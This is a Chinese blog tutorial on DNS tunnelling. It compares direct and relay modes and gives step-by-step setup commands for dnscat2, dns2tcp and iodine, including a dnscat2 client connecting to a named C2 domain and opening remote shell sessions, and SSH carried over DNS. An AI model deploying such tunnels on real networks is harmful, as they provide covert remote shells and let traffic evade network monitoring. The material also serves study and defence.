DNS隧道有两种模式:直连和中继模式。这两种模式都是为了将客户端请求的dns流量打到服务端,所以服务端被伪造成dns服务器,客户端查询dns各种资源记录时,便会把流量打到服务端。

直连模式,就是在客户端已经指定好了该域名的NS服务器,客户端直接向服务端发包。优点是速度快,但隐蔽性弱,因为会发起向外网ip请求dns的动作,并且这个ip还不是公用dns服务器。

中继模式,便是在域名商设置好该域名的NS服务器,经由递归查询和迭代查询,将流量打到服务端。从客户端这一侧流量看,dns请求只是到上一层dns服务器,隐蔽性更好,但是由于经过递归和迭代,速度较慢,又由于udp为不可靠传输,可能丢包严重。

配置dns解析

如下图,新增2个解析,一个A解析,一个NS解析
1

dnscat2

需要ruby环境,还需要安装一些库,装好之后有点像msf

服务端安装

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2
cd server
sudo gem install bundler

提示gem command not found,需要安装rubygems-devel

yum -y install rubygems-devel

然后再次执行gem install bundler,提示ruby版本过低,需要升级ruby版本大于2.3.0
更新包:

yum install -y gcc-c++ patch readline readline-devel zlib zlib-devel libyaml-devel libffi-devel openssl-devel make bzip2 autoconf automake libtool bison iconv-devel

rvm安装

curl -L get.rvm.io | bash -s stable

失败,提示证书无效,根据提示安装证书

gpg2 --keyserver hkp://pool.sks-keyservers.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
7D2BAF1CF37B13E2069D6956105BD0E739499BDB
source /etc/profile.d/rvm.sh
# 检查是否安装好
rvm -v

更新ruby:

# 列出已知的ruby版本
rvm list known
# 下载2.4版本
rvm install 2.4
# 检查当前版本
ruby -v

或者不升级ruby,而是安装指定版本的bundler,在https://rubygems.org/gems/bundler/versions查询得到ruby 2.0.0可以安装bundler 1.17.3版本

sudo gem install bundler -v 1.17.3
bundle install

启动服务端

sudo ruby ./dnscat2.rb dnsc2.mntn.fun --secret=xxxx --security=open --no-cache

缺少一些库,进行安装

sudo gem install ecdsa
sudo yum install ruby-devel
sudo gem install salsa20
sudo gem install sha3
sudo gem install trollop

启动服务端
2
客户端运行

./dnscat --secret=xxxx dnsc2.mntn.fun

3
看到会话建立,然后在服务端运行windows可以看到当前建立的会话
4
和msf差不多,通过session切换会话,通过help查看可用命令,shell可以新建session,ctrl+z退出当前session,然后再通过session -i选择刚才新建的shell session执行命令

session -i 1

5
dns2tcp

其他服务的流量走dns隧道,需要运行ssh服务或其他服务

服务端

wget http://lang-v.com/tools/server.tar.gz
tar -zxvg server.tar.gz
cd dns2tcp-0.5.2

新建配置文件dns2tcpd.conf

listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = dnsc2.mntn.fun # dns域名
resources = ssh:127.0.0.1:27124 , smtp:127.0.0.1:25 # 监听的服务及端口

启动服务端,-f指定配置文件路径,-F表示前台运行,-d表示调试信息,越低信息越全

dns2tcpd -f dns2tcpd.conf -F -d 2

6
客户端使用的是ubuntu,所以下载很简单

apt-get install dns2tcp

启动,-r指定使用的服务,这个服务必须是服务器端在监听的服务,-z指定dns域名,后接的ip可不写,-l指定本地监听段口,-d表示调试信息

dns2tcpc -r ssh -z dnsc2.mntn.fun 45.78.50.117 -l 66 -d 2

客户端再开一个shell窗口,运行ssh服务走本地监听端口

ssh 127.0.0.1 -l root -p 66

7
iodine

新建虚拟dns网卡,以dns服务器为中转,将机器放到同一网段
服务端

git clone https://github.com/Al1ex/iodine.git
cd iodine
make
make install

启动服务端,-f前台运行,-c调试模式,-P认证密码,10.1.1.1是自定义虚拟网卡ip,dnsc2.mntn.fun是dns域名

iodined -f -c -P mntn 10.1.1.1 dnsc2.mntn.fun

8
客户端,使用的是ubuntu,可通过apt-get直接安装

apt-get install iodine

运行客户端,45.78.50.117是dns服务器域名,加了ip就是直连模式,不加就是中继模式。

iodine -f -P mntn 45.78.50.117 dnsc2.mntn.fun

9
此时客户端会新建一个dns虚拟网卡,与服务端的虚拟dns网卡同网段,就相当于同一网段了,可直接访问10.1.1.1
10
连接ssh

11

Last modification:March 28th, 2020 at 07:50 pm